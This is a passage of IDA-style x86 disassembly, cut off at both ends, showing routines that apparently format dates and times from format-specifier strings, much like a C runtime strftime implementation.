push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_432C00
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_432BBD
; ---------------------------------------------------------------------------
loc_432B50: ; CODE XREF: sub_432A70+7Fj
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_432B98
cmp [ebp+var_C], 1
jbe short loc_432B98
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_432B98: ; CODE XREF: sub_432A70+FBj
; sub_432A70+101j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_432BBD: ; CODE XREF: sub_432A70+DEj
jmp loc_432AD1
; ---------------------------------------------------------------------------
loc_432BC2: ; CODE XREF: sub_432A70+65j
; sub_432A70:loc_432AF1j
cmp [ebp+var_8], 0
jz short loc_432BD4
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_432BDF
; ---------------------------------------------------------------------------
loc_432BD4: ; CODE XREF: sub_432A70+156j
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_432BDF: ; CODE XREF: sub_432A70+162j
cmp [ebp+var_C], 0
jbe short loc_432BF3
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_432BF5
; ---------------------------------------------------------------------------
loc_432BF3: ; CODE XREF: sub_432A70+173j
xor eax, eax
loc_432BF5: ; CODE XREF: sub_432A70+181j
mov esp, ebp
pop ebp
retn
sub_432A70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432C00 proc near ; CODE XREF: sub_432A70+CDp
; sub_4333D0+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_433168
mov eax, [ebp+var_C]
xor edx, edx
mov dl, byte_4331C9[eax]
jmp off_43316D[edx*4]
loc_432C33: ; DATA XREF: .nsp0:0043319Do
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call sub_433220
add esp, 0Ch
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432C55: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433171o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_433220
add esp, 0Ch
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432C78: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331A1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_433220
add esp, 0Ch
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432C9B: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433175o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_433220
add esp, 0Ch
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432CBE: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331A5o
cmp dword_4EFC1C, 0
jz short loc_432D46
mov dword_4EFC1C, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_4333D0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_432D00
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432D00: ; CODE XREF: sub_432C00+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4333D0
add esp, 14h
jmp short loc_432DB9
; ---------------------------------------------------------------------------
loc_432D46: ; CODE XREF: sub_432C00+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_4333D0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_432D75
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432D75: ; CODE XREF: sub_432C00+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4333D0
add esp, 14h
loc_432DB9: ; CODE XREF: sub_432C00+144j
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432DBE: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331A9o
mov ecx, dword_4EFC1C
mov dword_4EFC20, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432DE8: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433179o
mov eax, dword_4EFC1C
mov dword_4EFC20, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432E10: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:0043317Do
mov edx, dword_4EFC1C
mov dword_4EFC20, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_432E3A
mov [ebp+var_4], 0Ch
loc_432E3A: ; CODE XREF: sub_432C00+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432E55: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331ADo
mov edx, dword_4EFC1C
mov dword_4EFC20, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432E82: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331B1o
mov ecx, dword_4EFC1C
mov dword_4EFC20, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432EAF: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433181o
mov eax, dword_4EFC1C
mov dword_4EFC20, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432ED7: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331B5o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_432EFC
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_433220
add esp, 0Ch
jmp short loc_432F16
; ---------------------------------------------------------------------------
loc_432EFC: ; CODE XREF: sub_432C00+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_433220
add esp, 0Ch
loc_432F16: ; CODE XREF: sub_432C00+2FAj
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432F1B: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433185o
mov edx, dword_4EFC1C
mov dword_4EFC20, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432F44: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433189o
mov ecx, dword_4EFC1C
mov dword_4EFC20, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_432FAD
; ---------------------------------------------------------------------------
loc_432F5B: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331B9o
mov ecx, dword_4EFC1C
mov dword_4EFC20, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_432F85: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:0043318Do
mov eax, dword_4EFC1C
mov dword_4EFC20, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_432FA1
mov [ebp+var_8], 6
jmp short loc_432FAD
; ---------------------------------------------------------------------------
loc_432FA1: ; CODE XREF: sub_432C00+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_432FAD: ; CODE XREF: sub_432C00+359j
; sub_432C00+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_432FC1
mov [ebp+var_4], 0
jmp short loc_432FEE
; ---------------------------------------------------------------------------
loc_432FC1: ; CODE XREF: sub_432C00+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_432FEE
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_432FEE: ; CODE XREF: sub_432C00+3BFj
; sub_432C00+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_433009: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331BDo
cmp dword_4EFC1C, 0
jz short loc_433040
mov dword_4EFC1C, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_4333D0
add esp, 14h
jmp short loc_433062
; ---------------------------------------------------------------------------
loc_433040: ; CODE XREF: sub_432C00+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_4333D0
add esp, 14h
loc_433062: ; CODE XREF: sub_432C00+43Ej
jmp loc_433168
; ---------------------------------------------------------------------------
loc_433067: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433191o
mov dword_4EFC1C, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_4333D0
add esp, 14h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_433098: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:004331C1o
mov eax, dword_4EFC1C
mov dword_4EFC20, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_433270
add esp, 10h
jmp loc_433168
; ---------------------------------------------------------------------------
loc_4330CE: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433195o
mov edx, dword_4EFC1C
mov dword_4EFC20, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_433270
add esp, 10h
jmp short loc_433168
; ---------------------------------------------------------------------------
loc_43311B: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:00433199o
call sub_42DF20
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, off_451DD4[eax*4]
push ecx
call sub_433220
add esp, 0Ch
jmp short loc_433168
; ---------------------------------------------------------------------------
loc_433146: ; CODE XREF: sub_432C00+2Cj
; DATA XREF: .nsp0:off_43316Do
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_433168: ; CODE XREF: sub_432C00+1Bj
; sub_432C00+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_432C00 endp
; ---------------------------------------------------------------------------
off_43316D dd offset loc_433146 ; DATA XREF: sub_432C00+2Cr
dd offset loc_432C55
dd offset loc_432C9B
dd offset loc_432DE8
dd offset loc_432E10
dd offset loc_432EAF
dd offset loc_432F1B
dd offset loc_432F44
dd offset loc_432F85
dd offset loc_433067
dd offset loc_4330CE
dd offset loc_43311B
dd offset loc_432C33
dd offset loc_432C78
dd offset loc_432CBE
dd offset loc_432DBE
dd offset loc_432E55
dd offset loc_432E82
dd offset loc_432ED7
dd offset loc_432F5B
dd offset loc_433009
dd offset loc_433098
dd offset loc_433168
byte_4331C9 db 0 ; DATA XREF: sub_432C00+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433220 proc near ; CODE XREF: sub_432C00+48p
; sub_432C00+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_433223: ; CODE XREF: sub_433220+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_433266
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_433266
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_433223
; ---------------------------------------------------------------------------
loc_433266: ; CODE XREF: sub_433220+9j
; sub_433220+13j
pop ebp
retn
sub_433220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433270 proc near ; CODE XREF: sub_432C00+1DBp
; sub_432C00+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp dword_4EFC20, 0
jz short loc_43329A
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_433320
add esp, 0Ch
jmp short loc_433319
; ---------------------------------------------------------------------------
loc_43329A: ; CODE XREF: sub_433270+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_433310
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_4332B8
; ---------------------------------------------------------------------------
loc_4332AF: ; CODE XREF: sub_433270+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_4332B8: ; CODE XREF: sub_433270+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_4332F4
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4332AF
; ---------------------------------------------------------------------------
loc_4332F4: ; CODE XREF: sub_433270+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_433319
; ---------------------------------------------------------------------------
loc_433310: ; CODE XREF: sub_433270+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_433319: ; CODE XREF: sub_433270+28j
; sub_433270+9Ej
mov esp, ebp
pop ebp
retn
sub_433270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433320 proc near ; CODE XREF: sub_433270+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_43337B
loc_433336: ; CODE XREF: sub_433320+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_43337B
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_433336
loc_43337B: ; CODE XREF: sub_433320+14j
; sub_433320+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_433394: ; CODE XREF: sub_433320+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_433394
mov esp, ebp
pop ebp
retn
sub_433320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4333D0 proc near ; CODE XREF: sub_432C00+EBp
; sub_432C00+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_4333D6: ; CODE XREF: sub_4333D0+2EAj
; sub_4333D0:loc_43379Bj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_43384C
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_43384C
mov [ebp+var_8], 0
mov dword_4EFC20, 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_433416
; ---------------------------------------------------------------------------
loc_43340D: ; CODE XREF: sub_4333D0+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_433416: ; CODE XREF: sub_4333D0+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_433431
jmp short loc_43340D
; ---------------------------------------------------------------------------
loc_433431: ; CODE XREF: sub_4333D0+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_4337A0
mov ecx, [ebp+var_14]
xor eax, eax
mov al, byte_43387C[ecx]
jmp off_433850[eax*4]
loc_433468: ; DATA XREF: .nsp0:0043385Co
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_4334A1
mov ecx, [ebp+var_18]
jmp dword ptr loc_4338CF[ecx*4]
mov dword_4EFC20, 1
loc_433491: ; CODE XREF: sub_4333D0+B0j
mov [ebp+var_8], 6Dh
jmp short loc_4334A1
; ---------------------------------------------------------------------------
loc_433497: ; CODE XREF: sub_4333D0+B0j
mov [ebp+var_8], 62h
jmp short loc_4334A1
; ---------------------------------------------------------------------------
loc_43349D: ; CODE XREF: sub_4333D0+B0j
mov [ebp+var_8], 42h
loc_4334A1: ; CODE XREF: sub_4333D0+ABj
; sub_4333D0+C5j ...
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_4334A6: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433860o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_4334DF
mov ecx, [ebp+var_1C]
jmp dword ptr loc_4338DA+5[ecx*4]
loc_4334C5: ; CODE XREF: sub_4333D0+B0j
mov dword_4EFC20, 1
loc_4334CF: ; CODE XREF: sub_4333D0+B0j
; sub_4333D0+EEj
mov [ebp+var_8], 64h
jmp short loc_4334DF
; ---------------------------------------------------------------------------
loc_4334D5: ; CODE XREF: sub_4333D0+B0j
; sub_4333D0+EEj
mov [ebp+var_8], 61h
jmp short loc_4334DF
; ---------------------------------------------------------------------------
loc_4334DB: ; CODE XREF: sub_4333D0+B0j
; sub_4333D0+EEj
mov [ebp+var_8], 41h
loc_4334DF: ; CODE XREF: sub_4333D0+E9j
; sub_4333D0+103j ...
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_4334E4: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433874o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_4334F8
cmp [ebp+var_20], 4
jz short loc_4334FE
jmp short loc_433502
; ---------------------------------------------------------------------------
loc_4334F8: ; CODE XREF: sub_4333D0+11Ej
mov [ebp+var_8], 79h
jmp short loc_433502
; ---------------------------------------------------------------------------
loc_4334FE: ; CODE XREF: sub_4333D0+124j
mov [ebp+var_8], 59h
loc_433502: ; CODE XREF: sub_4333D0+126j
; sub_4333D0+12Cj
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_433507: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433864o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_43351B
cmp [ebp+var_24], 2
jz short loc_433525
jmp short loc_433529
; ---------------------------------------------------------------------------
loc_43351B: ; CODE XREF: sub_4333D0+141j
mov dword_4EFC20, 1
loc_433525: ; CODE XREF: sub_4333D0+147j
mov [ebp+var_8], 49h
loc_433529: ; CODE XREF: sub_4333D0+149j
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_43352E: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433858o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_433542
cmp [ebp+var_28], 2
jz short loc_43354C
jmp short loc_433550
; ---------------------------------------------------------------------------
loc_433542: ; CODE XREF: sub_4333D0+168j
mov dword_4EFC20, 1
loc_43354C: ; CODE XREF: sub_4333D0+16Ej
mov [ebp+var_8], 48h
loc_433550: ; CODE XREF: sub_4333D0+170j
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_433555: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433868o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_433569
cmp [ebp+var_2C], 2
jz short loc_433573
jmp short loc_433577
; ---------------------------------------------------------------------------
loc_433569: ; CODE XREF: sub_4333D0+18Fj
mov dword_4EFC20, 1
loc_433573: ; CODE XREF: sub_4333D0+195j
mov [ebp+var_8], 4Dh
loc_433577: ; CODE XREF: sub_4333D0+197j
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_43357C: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:0043386Co
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_433590
cmp [ebp+var_30], 2
jz short loc_43359A
jmp short loc_43359E
; ---------------------------------------------------------------------------
loc_433590: ; CODE XREF: sub_4333D0+1B6j
mov dword_4EFC20, 1
